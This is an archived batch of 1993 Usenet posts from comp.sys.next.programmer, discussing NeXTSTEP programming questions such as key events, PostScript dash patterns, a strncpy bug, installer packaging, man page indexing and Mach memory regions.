This is Prog94-I.gz in view mode; [Up]
Newsgroups: comp.sys.next.programmer From: Greg_Anderson@afs.com (Gregory H. Anderson) Subject: Re: Arrow keys, how *should* i find them Message-ID: <1993Dec30.213443.2584@afs.com> Sender: greg@afs.com References: <1993Dec27.041925.15876@gleap.jpunix.com> Date: Thu, 30 Dec 1993 21:34:43 GMT In article <1993Dec27.041925.15876@gleap.jpunix.com> titmouse!bshirley (C. William Shirley) writes: > I've never messed with key events too much before. > I searched around a bit (in the docs and in the headers) > and couldn't find any #defines for key strokes (that didn't > look hardware specific). > So at the risk of looking stupid, I'm gonna open my mouth. > This is how I've coded it to work. How *should* it be writen?! > > - keyDown:(NXEvent *)event > { > // deplorable hardcode to follow... > > switch (event->data.key.charCode) > { > case 172: //left > break; > case 173: //up > break; > case 174: //right > break; > case 175: //down > break; > default: // not an arrow key > } > > //... > } That's not deplorable, it's all-but-complete. (Well, numeric constants are deplorable, but that's easy enough to fix.) A thorough solution will first check if (event->data.key.charSet == NX_SYMBOLSET), because charCodes 172 - 175 are legitimate non-arrow codes in other symbol sets. As you have noticed, NeXT did not define constants for the arrow keys. There are constants for NX_LEFT, NX_RIGHT, NX_UP, and NX_DOWN in Text.h, but they are simply inter-field tokens with no basis in charCode reality. NX_SYMBOLSET and its friends are declared in apsclient/event.h. -- Gregory H. Anderson | "History is the fiction we invent to Revisionist Autobiographer | persuade ourselves that events are Anderson Financial Systems | knowable and that life has order and greg@afs.com (NeXTmail OK) | direction." -- Calvin & Hobbes, 7/19/93
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: PSsetdash() difficulties Date: 30 Dec 1993 18:21:55 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9312310023.AA03534@dcs.shef.ac.uk> My apologies to anybody else (in addition to Howard R. Cole) whom I have irritated with my previous reply; I should have tried out an example myself... I have now, and can confirm that PSsetdash() *does* work within DPSuserPaths. Its syntax is: PSsetdash(float pattern[], int size, float offset) pattern is an array which determines the parts of the line which will be shown -- stroke uses the contents of the array cyclically: when it comes to the end it starts over (if the array is empty an unbroken line is shown) offset determines the "phase" of the pattern, the distance into the pattern at which the pattern should be started. An example -- #define PATTERN_SIZE 2 { float offset = 6.0; float pattern[PATTERN_SIZE] = {3.0, 2.0}; [...] PSsetdash(pattern, PATTERN_SIZE, offset); [...] } This corresponds in PostScript to [3 2] 6 setdash which will generate - --- --- --- --- i.e. 1 on (remember the offset), 2 off, 3 on, 2 off etc. For Dave's application, wherein he uses *long* paths that are likely to be broken into smaller subpaths to avoid path-size limits, note that each subpath is treated independently: the dash pattern is (obviously) restarted at the beginning of each path. This clearly shows the requirement for the offset parameter: if a continuous pattern is desired the offset can be calculated to restart the pattern for the new path at the point at which the previous path left off. --- For anybody confused/offended by me previous reply -- I had had private communication with Dave as a result of a previous question he had sent out which suggested to me that he required rapid drawing: I merely wished to point out that using PSsetdash() would be a performance killer, and to ask anybody else if they could enlighten both of us. Have fun, mmalcolm.
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: subdividing comp.sys.next.programmer Message-ID: <1993Dec30.225402.2481@planon.qc.ca> Sender: yanik@planon.qc.ca Date: Thu, 30 Dec 1993 22:54:02 GMT I don't know the correct procedure to initiate a CFV (Call for vote). So, this message is just a pre-pre-preliminary draft of some future improvement to comp.sys.next.programmer. Someone more experienced than I could be more appropriate to initiate the "official" process to create subdivisions of comp.sys.next.programmer with the official usenet protocol. Since its creation, some years ago, comp.sys.next has changed. When interest has been big enough, the group has been splited in many sub-groups. (misc, programmer, announce, hardware, advocacy, sysadmin, bugs, software, marketplace etc.). Such evolution should be linked with the evolution of the NeXT community itself. The motto of NeXT is "mission-critical custom apps" and all the marketing strategy is targeted to the programmation tools available on NeXTSTEP. If NeXT succeed with the custom-apps strategy, the present comp.sys.next.programmer will grow in importance. Sooner or later, comp.sys.next.programmer will need to be splited. I have now and average of 7 messages per day. These messages covers all programmer topics and sometimes some topic outside the programmers interest. I would like to have your opinion on what should be the sub-topics of comp.sys.next.programmer. Please use the net not E-Mail (I will be absent for a while). That is my prelimnary suggestions. dps_appkit display postscript and appkit, the visible face of NeXTSTEP. dpo_network dstributed portable objects, Listener/Speaker, Proxies Novell and AFS APIs. etc. dsp_music DSP and Music Kit databases DBKit and other Database APIs. indexingKit black_white Question related to the difference between architecture, byte ordering threads For the adventurous programmers in the multi-thread world. tools The tools (Project Builder, IB, third party...) and the programming environnement (Headers, compilers etc.) misc None of the above -- Yanik Crepeau Programmer Planon Telexpertise E-Mail: yanik@planon.qc.ca (NeXT)
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: Re: The man/man bug fix (Was: Can't access man pages ...) Message-ID: <CIvF06.1Dz@sounds.wa.com> Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA References: <9312301733.AA03220@dcs.shef.ac.uk> Date: Thu, 30 Dec 1993 23:09:41 GMT Malcolm Crawford writes | > > First, just where IS this documented? Couldn't find it in the | > > release notes. | > | > this fix is copied directly from the developer Release Notes... | > | The *Supplemental* Release Notes, that is, i.e. the paper copies, it's | not on-line. Yes, but this one entry in the Supplemental Release Notes has several bugs in it, three or four depending upon how you count them. Two of the problems have already been pointed out, and the remaining ones are mentioned here in hopes that they'll help someone. 1) The missing man pages are one level deeper than the instructions indicate. The correct steps to put them in their proper place would be as follows: cd /usr/man mv man/man1/* man1 rmdirs man/man1 To remove the old result files, execute: rm whatis .index.store 2) If you want Librarian to show descriptions of each man page in its listing of search results (as I do, and as shipped by NeXT), I think you'll have to execute "makewhatis" BEFORE "ixbuild" (but I'm not certain that "ixbuild" looks in whatis for the description lines since I haven't tested without the updated file around). 3) makewhatis isn't on the defaults path, use: /usr/lib/makewhatis . 4) Matt Watson at NeXT has already pointed out the importance of the -s option to "ixbuild", but I would like to add that the -v option will tell "ixbuild" to include a helpful description of each man page in the listing. I use this to build my own index of the man pages I have placed in /usr/local/man - instead of seeing the filename, like "man1/procmail.1", you'll see a much nicer description, e.g. "procmail - autonomous mail processor". If you don't include the -v option when rebuilding the index to include the missing man pages in 3.2, you'll lose those descriptions: ixbuild -fgsv -LEnglish . I thought I had sent these corrections into NeXTbug, but I can't find anything in my records, so I'm sending it now. -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
From: wjs@omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: OpenPanel and creating directories *sigh* Date: 30 Dec 1993 17:13:46 -0800 Organization: The Omni Group Message-ID: <2fvuca$c0i@yucca.omnigroup.com> References: <2fsrpu$1ng@theborg.stack.urc.tue.nl> Annard Brouwer writes: > [OpenPanel setOpenPanelFactory:BookmarkOpenPanel]; Instead, try: [OpenPanel setOpenPanelFactory:[BookmarkOpenPanel class]]; See the Objective-C documentation for details of why you need the extra message. -William Shipley
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: subdividing comp.sys.next.programmer Message-ID: <1993Dec31.030446.2117@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <1993Dec30.225402.2481@planon.qc.ca> Date: Fri, 31 Dec 1993 03:04:46 GMT Splitting the group... ...WILL NOT reduce traffic ...WILL entice more inappropriate crossposting ...WILL NOT produce a clear division among topical lines ...WILL rob the readership of the much of the expertise that makes USENET the valuable resource it has become Your proposal is mean-spirited and destructive. If you have a particular interest in a "niche" area, join a mailing list (or start one if none exists). I should also point out (as I often do) that there are existing newsgroups (outside of comp.sys.next.*) that cover many of the areas you mentioned. Find out about them. Use them! -=EPS=-
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Why am I having troubles with strncpy? Date: 30 Dec 1993 23:09:37 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9312310510.AA05335@cantina.lanl.gov> Well, by being just dumb (and Fortran-like) I can avoid the problem, but for some reason the following method doesn't work: - (char *)getRoot { char root[MAXPATHLEN+1]; char *fromDot; int nchar; fromDot = strrchr(thePathname,'.'); nchar = strlen(thePathname)-strlen(fromDot); strncpy(root,thePathname,nchar); return root; } where 'char thePathname[MAXPATHLEN+1]' is an ivar that was set by an OpenPanel, e.g., thePathname="/silbar/Programming/Flow2D/VectorField/dipoleElectricField.data" The problem is clearly the strncpy() function, the symptom being that SOMEtimes root comes back with a bunch of junk characters tacked on the end. In fact, this happens when the selected file is not in the directory of the App itself. I have tried a large number of ways of typing, casting and malloc'ing the arguments, but without success. And, including all sorts of header files. So, I've given up on strncpy() and did what I probably should have written in the first place. The following does work, independent of the directory of the selected file: - (char *)getRoot { char root[MAXPATHLEN+1]; char *fromDot; int i, nchar; fromDot = strrchr(thePathname,'.'); nchar = strlen(thePathname)-strlen(fromDot); for (i=0; i<nchar; i++) { root[i]=thePathname[i]; } root[nchar] = '\0'; return root; } Yes, I realize this could be written much more compactly with a 'while' statement. What bothers me, however, is that I don't understand something about how string functions work. (I suppose it COULD be a bug in OpenPanel, but I doubt that.) Any enlightenment out there? Thanks in advance. Dick Silbar WhistleSoft, Inc.
Newsgroups: comp.sys.next.programmer From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: How Do I Untar A File? *.???.z Message-ID: <1993Dec31.045617.10939@Happy-Man.com> Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399 References: <2966237727.6.p00378@psilink.com> Date: Fri, 31 Dec 1993 04:56:17 GMT Here's what I use: #!/bin/sh # This is a shell archive (shar 3.21) # made 12/31/1993 04:53 UTC by irving@rosebud # Source directory /Gigi/Users/irving # # existing files WILL be overwritten # # This shar contains: # length mode name # ------ ---------- ------------------------------------------ # 623 -r-xr-xr-x untar # if touch 2>&1 | fgrep '[-amc]' > /dev/null then TOUCH=touch else TOUCH=true fi # ============= untar ============== echo "x - extracting untar (Text)" sed 's/^X//' << 'SHAR_EOF' > untar && X#!/bin/sh X# vi:se wm=0 ts=4 wm=4: X XRCS_ID='$Id: untar.sh,v 1.3 93/06/12 12:43:12 irving Exp $' XPROG=`basename $0 .sh` XZCAT="gzip -cd" XUSAGE="usage: $PROG fileToUnTar" Xif test $# -ne 1; then X echo "$USAGE" >&2 X echo "$RCS_ID" >&2 X exit 1 Xfi X XTARF=$1 XZ=`expr "$TARF" : '.*[.]\(Z|z|gz\)$'` Xif test "$Z" != "0"; then X $ZCAT $TARF | tar xf - Xelse X tar xf $TARF Xfi X Xexit 0 X X#$Header: /Maurice/u/src/our/util/untar.sh,v 1.3 93/06/12 12:43:12 irving Exp $ X#$Log: untar.sh,v $ X# Revision 1.3 93/06/12 12:43:12 irving X# fix RCS headers stuff X# X# Revision 1.2 93/06/12 12:38:31 irving X# add RCS fields, allow new .gz suffix X# SHAR_EOF $TOUCH -am 0612125093 untar && chmod 0555 untar || echo "restore of untar failed" set `wc -c untar`;Wc_c=$1 if test "$Wc_c" != "623"; then echo original size 623, current size $Wc_c fi exit 0 -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 In SOLID VALUE, we show intelligent investors under-priced stocks Printed Info Free: Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: laurie@eskimo.com (Laurie Anderson) Subject: packages on white Message-ID: <CIvGHC.8Lt@eskimo.com> Summary: can't install packages on white Organization: Eskimo North (206) For-Ever Distribution: usa Date: Thu, 30 Dec 1993 23:41:31 GMT Hi. I have developed an application under NEXTSTEP486 that I wish to distribute. The application's size is larger than the capacity of a 1.44m floppy. Therefore, I have chunked and packaged it. My problem comes when I go to install the application. Installer asks for the first floppy, partially installs it, the complains that it can't eject the floppy. This is when my troubles begin. Installer doesn't unmount the floppy. If I attempt to eject the floppy or drag it to the recycler I get a window that states I can't do that because someone is using it. I haven't found the technique to install chunked packages for NEXTSTEP486. What's the trick?
Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer From: laurie@eskimo.com (Laurie Anderson) Subject: problems with packages on white Message-ID: <CIvGzs.8w3@eskimo.com> Organization: Eskimo North (206) For-Ever Distribution: usa Date: Thu, 30 Dec 1993 23:52:34 GMT Hi. I have developed an application under NEXTSTEP486 that I wish to distribute. The application's size is larger than the capacity of a 1.44m floppy. Therefore, I have chunked and packaged it. My problem comes when I go to install the application. Installer asks for the first floppy, partially installs it, the complains that it can't eject the floppy. This is when my troubles begin. Installer doesn't unmount the floppy. If I attempt to eject the floppy or drag it to the recycler I get a window that states I can't do that because someone is using it. I haven't found the technique to install chunked packages for NEXTSTEP486. What's the trick?
Newsgroups: comp.sys.next.programmer From: tgm@netcom.com (Thomas G. McWilliams) Subject: Re: Why am I having troubles with strncpy? Message-ID: <tgmCIwDty.Gs8@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <9312310510.AA05335@cantina.lanl.gov> Date: Fri, 31 Dec 1993 11:41:58 GMT Dick Silbar (silbar@cantina.lanl.gov) wrote: : Well, by being just dumb (and Fortran-like) I can avoid the problem, but for : some reason the following method doesn't work: : - (char *)getRoot : { : char root[MAXPATHLEN+1]; : char *fromDot; : int nchar; : fromDot = strrchr(thePathname,'.'); : nchar = strlen(thePathname)-strlen(fromDot); : strncpy(root,thePathname,nchar); : return root; : } Hi Dick, The problem is that root[] is declared automatic. You must declare it static. You must not return pointers to automatic variables because the variable disappears when the function returns. Thomas
Newsgroups: comp.sys.next.programmer From: crath@bnr.ca (Christopher Rath) Subject: Re: Why am I having troubles with strncpy? In-Reply-To: silbar@cantina.lanl.gov's message of 30 Dec 1993 23:09:37 -0600 Message-ID: <CRATH.93Dec31093817@bcarh911.bnr.ca> Sender: usenet@bcars6a8.bnr.ca (Use Net) Organization: Bell Northern Research, Ottawa, Canada References: <9312310510.AA05335@cantina.lanl.gov> Date: Fri, 31 Dec 1993 14:38:17 GMT In cases where strncpy() copies exactly `n' characters, no trailing '\0' character is appended to the string. In those cases, you will need to add the trailing null manually. Strncpy()'s usefulness is not in using it to copy exactly n characters. If you want to copy n characters then I would suggest you use memcpy(). Christopher -- Christopher Rath | crath@bnr.ca BNR Lab 5 | Ottawa, ON, Canada | "Hydrogen is a colourless, odourless gas which, given (613) 765-3141 | enough time, turns into people." -- Henry Hiebert
From: spagiola@frinext.stanford.edu (Stefano Pagiola) Newsgroups: comp.sys.next.programmer Subject: Re: packages on white Date: 31 Dec 1993 17:26:28 GMT Organization: Stanford University Distribution: usa Message-ID: <2g1nc4$l4j@nntp2.Stanford.EDU> References: <CIvGHC.8Lt@eskimo.com> Laurie Anderson writes > Hi. I have developed an application under NEXTSTEP486 that ... > is larger than the capacity of a 1.44m floppy. Therefore, I have > chunked and packaged it. > > My problem comes when I go to install the application. Installer > asks for the first floppy, partially installs it, the complains > that it can't eject the floppy. This is when my troubles begin. > > Installer doesn't unmount the floppy. If I attempt to eject the > floppy or drag it to the recycler I get a window that states I > can't do that because someone is using it. Check the release notes. There's something about the chunking app being broken in 3.1 and 3.2. -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@leland.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
From: spagiola@frinext.stanford.edu (Stefano Pagiola) Newsgroups: comp.sys.next.programmer Subject: Re: packages on white Date: 31 Dec 1993 17:27:13 GMT Organization: Stanford University Distribution: usa Message-ID: <2g1ndh$l4n@nntp2.Stanford.EDU> References: <CIvGHC.8Lt@eskimo.com> Laurie Anderson writes > [problem with multi-floppy .pkgs] Check the release notes. There's something about the chunking app being broken in 3.1 and 3.2. -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@leland.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
From: spagiola@frinext.stanford.edu (Stefano Pagiola) Newsgroups: comp.sys.next.programmer Subject: Re: packages on white Date: 31 Dec 1993 17:27:29 GMT Organization: Stanford University Distribution: usa Message-ID: <2g1ne1$l4p@nntp2.Stanford.EDU> References: <CIvGHC.8Lt@eskimo.com> Laurie Anderson writes > [problem with multi-floppy .pkgs] Check the release notes. There's something about the chunking app being broken in 3.1 and 3.2. -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@leland.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: problems with packages on white Message-ID: <1993Dec31.163008.275@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <CIvGzs.8w3@eskimo.com> Distribution: usa Date: Fri, 31 Dec 1993 16:30:08 GMT In article <CIvGzs.8w3@eskimo.com> laurie@eskimo.com (Laurie Anderson) writes: > Hi. I have developed an application under NEXTSTEP486 that I wish to > distribute. The application's size is larger than the capacity of a > 1.44m floppy. Therefore, I have chunked and packaged it. > > My problem comes when I go to install the application. Installer asks > for the first floppy, partially installs it, the complains that it can't > eject the floppy. This is when my troubles begin. > > Installer doesn't unmount the floppy. If I attempt to eject the floppy > or drag it to the recycler I get a window that states I can't do that > because someone is using it. > > I haven't found the technique to install chunked packages for > NEXTSTEP486. What's the trick? The Bug list for 3.1 and 3.2 do mention that the Installer's chunkPackage is broken. The workaround suggested by NeXT is to get the 3.0 Installer utilities, and use that. That works, except you don't get the option to strip unused binaries. What we did at Stone Design was: 1] place all the packages of the distribution into one directory 2] tar this directory 3] Use Workspace's MultiVolume copy to split the tar'd file over several floppy disks 4] Make masters from these floppies Regardless of which solution you use, you have to remember that the PC isn't mount smart: you have to select "Check For Disks" after you have inserted the next disk, and wait until it gets mounted before clicking the "Proceed" button. andrew -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: gary@nshade.uah.ualberta.ca (Gary Ritchie) Subject: Re: problems with packages on white Message-ID: <1993Dec31.184216.10245@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Dec31.163008.275@stone.com> Distribution: usa Date: Fri, 31 Dec 1993 18:42:16 GMT In article <1993Dec31.163008.275@stone.com> andrew@stone.com (Andrew Stone) writes: > Regardless of which solution you use, you have to remember that the PC > isn't mount smart: you have to select "Check For Disks" after you have > inserted the next disk, and wait until it gets mounted before clicking > the "Proceed" button. During a multi-floppy install, I accidentally pushed "Proceed" without checking for disks, and it worked. Went out and found the disk. Did it several times after that without problems (3.1 or 3.2, can't remember). Sped up the process a bit. -- Gary Ritchie : NeXT Programmer Department of Medicine (Neurology) : University of Alberta Hospital gary@uaneuro.uah.ualberta.ca : NEXTMAIL Welcome (403) 492-8648
Newsgroups: comp.sys.next.programmer From: uli@zoodle.robin.de (Ulrich Grepel) Subject: Re: More on RTF source Message-ID: <CIwqE2.B9@zoodle.robin.de> Sender: uli@zoodle.robin.de (Ulrich Grepel) Organization: meow!!! References: <1993Dec29.135312.393@afs.com> Date: Fri, 31 Dec 1993 16:13:14 GMT Michael Pizolato writes > > 1b. The idea that IB should be `extended' for this kind of > > obscurity. > > Why not? If, as you note below, stripping down to ascii is abstracted > away (that's been on my mind lately in a different context :-), > source code could be written in, say, WordPerfect and still compile. > I think the ability to have "word processed" source code is extremely > valuable. Anyone thinking about Don Knuth's Web? Another idea that comes to my mind is to use rtfd sources too. Yet another idea: how could one easily mark comments as such? Maybe everything in a certain color would be a comment, without actually saying /**/ or // ? Ciao, Uli -- Das ist wie mit der Gleichung von Fermat - ein Raetsel, das wir wohl nie loesen werden - Captain Picard, StarTrek TNG, Folge 'Hotel Royal'
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: More on RTF source Message-ID: <1993Dec31.202337.23567@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1993Dec29.135312.393@afs.com> <CIwqE2.B9@zoodle.robin.de> Date: Fri, 31 Dec 1993 20:23:37 GMT In article <CIwqE2.B9@zoodle.robin.de> uli@zoodle.robin.de (Ulrich Grepel) writes: >>Michael Pizolato writes >>> > 1b. The idea that IB should be `extended' for this kind of >>> > obscurity. >>> >>> Why not? If, as you note below, stripping down to ascii is abstracted >>> away (that's been on my mind lately in a different context :-), >>> source code could be written in, say, WordPerfect and still compile. >>> I think the ability to have "word processed" source code is extremely >>> valuable. >> >>Anyone thinking about Don Knuth's Web? >> >>Another idea that comes to my mind is to use rtfd sources too. >> urgh. Read Mike Hawley's MIT Media Lab PhD for why this is Web is evil. As for useful things to do with rtfd source, I used Mike's rtf stuff last year to allow me to embed graphics into RenderMan Shading language source code. Great to be able to add images inside the source code to explain what changing a parameter does... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: More on RTF source Message-ID: <1993Dec31.202557.23644@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1993Dec29.135312.393@afs.com> <CIwqE2.B9@zoodle.robin.de> Date: Fri, 31 Dec 1993 20:25:57 GMT double urgh. My previous post should say "why Web is evil" not "why this is Web is evil". Gee, I finally pass my PhD oral exam and my written skills go to hell... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Re: More on RTF source Date: 31 Dec 1993 12:55:50 -0800 Message-ID: <2g23km$6kq@ursula.ee.pdx.edu> References: <1993Dec29.135312.393@afs.com> <CIwqE2.B9@zoodle.robin.de> >Michael Pizolato writes >> > 1b. The idea that IB should be `extended' for this kind of >> > obscurity. >> >> Why not? If, as you note below, stripping down to ascii is abstracted >> away (that's been on my mind lately in a different context :-), >> source code could be written in, say, WordPerfect and still compile. >> I think the ability to have "word processed" source code is extremely >> valuable. Absolutely, but preferably with a `smart' editor and preferably not by intermingling lots of unrelated things just for the sake of expedience. What IB does has nothing to do with Objective C. The only thing that IB uses ObjC for is getting class information (and with the existing connection inspectors, really only slot names). Class information could and should be in a language independent format, like a NIB file. This would be relatively easy to change and make it possible to integrate languages like CLOS, Smalltalk, or Dylan. Adding RTF, or whatever, filtering is just making the situation worse. >Anyone thinking about Don Knuth's Web? Sure, but IB isn't the tool for the job. >Another idea that comes to my mind is to use rtfd sources too. Maybe PDF support... >Yet another idea: how could one easily mark comments as such? Maybe everything >in a certain color would be a comment, without actually saying /**/ or // ? Hmm, how about get NeXT to ditch Edit.app and extend Emacs19.
From: marcus@ursula.ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.programmer Subject: Porting CLISP, looking for virtual memory info Date: 31 Dec 1993 13:12:43 -0800 Message-ID: <2g24kb$718@ursula.ee.pdx.edu> Summary: What are these regions? Although CLISP has a many flexible configuration options, I'd like to to get the optimal `immutable memory-mapped' configuration working. The information reported by the included program includes the following entries (sorry, kinda messy): adr:3f80000 size:080000 prot:7 max_prot:7 inherit:1 shared:0 offset:000000 adr:4010000 size:004000 prot:7 max_prot:7 inherit:1 shared:0 offset:000000 adr:4014000 size:004000 prot:7 max_prot:7 inherit:1 shared:0 offset:004000 adr:4018000 size:008000 prot:7 max_prot:7 inherit:1 shared:0 offset:0a6000 Three questions: 1. What are they for? A straightforward port of CLISP uses six of eight of the upper bits of an virtual memory address for storing different data types. With these and the shared library (@ 0x5000000), there are only five bits available (27-31). So I'd be very interested in deallocating or relocating some of this or perhaps statically linking (sheesh). I'd prefer to avoid using bit 23, because I need the remaining 16M for my application. 2. Has anyone written a kernel-server to translate virtual/physical addresses (given a PID). If not would anyone want one? 3. At one point Franz/Allegro had NEXTSTEP support. Does/has anyone use(d) this, interested in using this, or have made an effort to port the 2.0 version to 3.1/3.2? Marcus Daniels #include <mach/mach.h> #include <mach/machine/vm_param.h> #include <mach-o/loader.h> void print_module_info(struct mach_header *headerPtr,int *segment_count) { int ci,cmdCnt; struct load_command *cmdPtr; int si; *segment_count=0; cmdPtr=(struct load_command *)((void *)headerPtr+sizeof(struct mach_header)); cmdCnt=headerPtr->ncmds; for(ci=0;ci<cmdCnt;ci++) { switch(cmdPtr->cmd) { case LC_SEGMENT: { struct segment_command *segCmdPtr; segCmdPtr=(struct segment_command *)cmdPtr; (*segment_count)++; { struct section *sPtr; sPtr=(struct section *)((void *)cmdPtr+sizeof(struct segment_command)); printf( "\tLC_SEGMENT %s: adr:%x size:%x foff:%x fsize:%x maxp:%x initp:%x nsects:%d flags:%x\n", segCmdPtr->segname, segCmdPtr->vmaddr, segCmdPtr->fileoff, segCmdPtr->filesize, segCmdPtr->maxprot, segCmdPtr->initprot, segCmdPtr->nsects, segCmdPtr->flags); { char str[17]; for(si=0;si<segCmdPtr->nsects;si++) { strncpy(str,sPtr[si].sectname,16); printf("\t\t%16s: addr: %06x size:%06x offset:%04x align: %d reloff:%04x nreloc: %x flags: %x reserved1: %x reserved2: %x\n", str, sPtr[si].addr, sPtr[si].size, sPtr[si].offset, sPtr[si].align, sPtr[si].reloff, sPtr[si].nreloc, sPtr[si].flags, sPtr[si].reserved1, sPtr[si].reserved2); } } } } break; case LC_SYMTAB: printf("\tLC_SYMTAB\n"); break; case LC_SYMSEG: printf("\tLC_SYMSEG\n"); break; case LC_THREAD: printf("\tLC_THREAD\n"); break; case LC_UNIXTHREAD: printf("\tLC_UNIXTHREAD\n"); break; case LC_LOADFVMLIB: printf("\tLC_LOADFVMLIB\n"); break; case LC_IDFVMLIB: printf("\tLC_IDFVMLIB\n"); break; case LC_IDENT: printf("\tIDENT\n"); break; case LC_PREPAGE: printf("\tPREPAGE\n"); break; default: break; } cmdPtr=(struct load_command *)((void *)cmdPtr+cmdPtr->cmdsize); } } vm_address_t scan_vm_regions(vm_address_t stop_at) { int segment_count; vm_address_t highest_address; vm_address_t adr; vm_task_t task; vm_size_t size; vm_prot_t prot; vm_prot_t max_prot; vm_inherit_t inherit; boolean_t shared; port_t name; vm_offset_t offset; task=task_self(); highest_address=0; for(adr=VM_MIN_ADDRESS; vm_region(task, /* Current thread */ &adr, /* In: Where to start looking Out: First region located, or region `In' was in. */ &size, /* Size of located region */ &prot, /* Current protection of region */ &max_prot,/* Maximum possible protection for region */ &inherit, /* Inheritance attributes for region */ &shared, /* True if region is being shared */ &name, /* Port managing region's memory */ &offset /* Offset into manager object */ ) == KERN_SUCCESS;adr+=size) { printf( "adr:%06x size:%06x prot:%d max_prot:%d inherit:%d shared:%d offset:%06x\n", adr,size,prot,max_prot,inherit,shared,offset ); if(prot & 1) { print_module_info((struct mach_header *)adr,&segment_count); if(segment_count) printf("\tsegment count: %d\n",segment_count); } if(adr < stop_at) highest_address=adr+size; } return highest_address; } main(int argc,char **argv) { printf("%06x\n",scan_vm_regions(1<<24)); printf("get_etext: %x\n",get_etext()); printf("get_edata: %x\n",get_edata()); printf("get_end: %x\n",get_end()); }
From: schweller@bvc.edu Newsgroups: comp.sys.next.programmer Subject: Help! No c or gcc on my NeXt! Message-ID: <1993Dec31.151819.6715@bvc.edu> Date: 31 Dec 93 15:18:19 CDT Organization: Buena Vista College, Storm Lake, IA Help! I have no C on NS 3.0! I just installed NextStep 3.0 on my Next and everything looks good but i dont seem to have a cc or gcc compiler! Without at least a cc i cant even install gnu c compiler. Are there any cc next binaries i could ftp somewhere? Help, im at a loss.. Ken schweller NeXt Newbie
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: More on RTF source Date: 31 Dec 1993 21:37:33 -0000 Organization: me organized? That's a joke! Message-ID: <2g262t$2td@steffi.demon.co.uk> References: <1993Dec29.135312.393@afs.com> <CIwqE2.B9@zoodle.robin.de> <2g23km$6kq@ursula.ee.pdx.edu> Folks, I set up a mailing list for this discussion feel free to join. Join my list if you like. I talked about RTFD earlier. Send a message with "subscribe" in the subject to RTFusers-request@steffi.demon.co.uk -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
Newsgroups: comp.sys.next.programmer From: ccreado@hoko (Craig Creado) Subject: Two problems... Message-ID: <1993Dec31.214609.16071@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Fri, 31 Dec 1993 21:46:09 GMT I'd appreciate any help on the following two problems that I'm experiencing under 3.0. (Sorry if these are FAQs.) 1. I have a textfield created in IB displaying some arbitrary string such as 'Text'. If I then send the textfield a setFont: message, the string, which had been displayed as expected (horizontally), is now displayed one character per line, i.e. vertically. The number of characters per line can become larger, but line wrap occurs much before it is needed. The textfield itself does not change size. Any ideas why this may be happening, and any solutions to the problem? 2. I have several views of different sizes and I want to put them together in a large view, suitably arranged, and display them in a window for later printing. I set the frame rects of the subviews to the appropriate values, and add them, as subviews, to a newly allocated view inited with a frame large enough to hold all the subviews in their proper positions. The new superview is then set to be the content view of a new window. Now, for subviews with small dimensions, i.e., width and height dimensions of less than ~10000 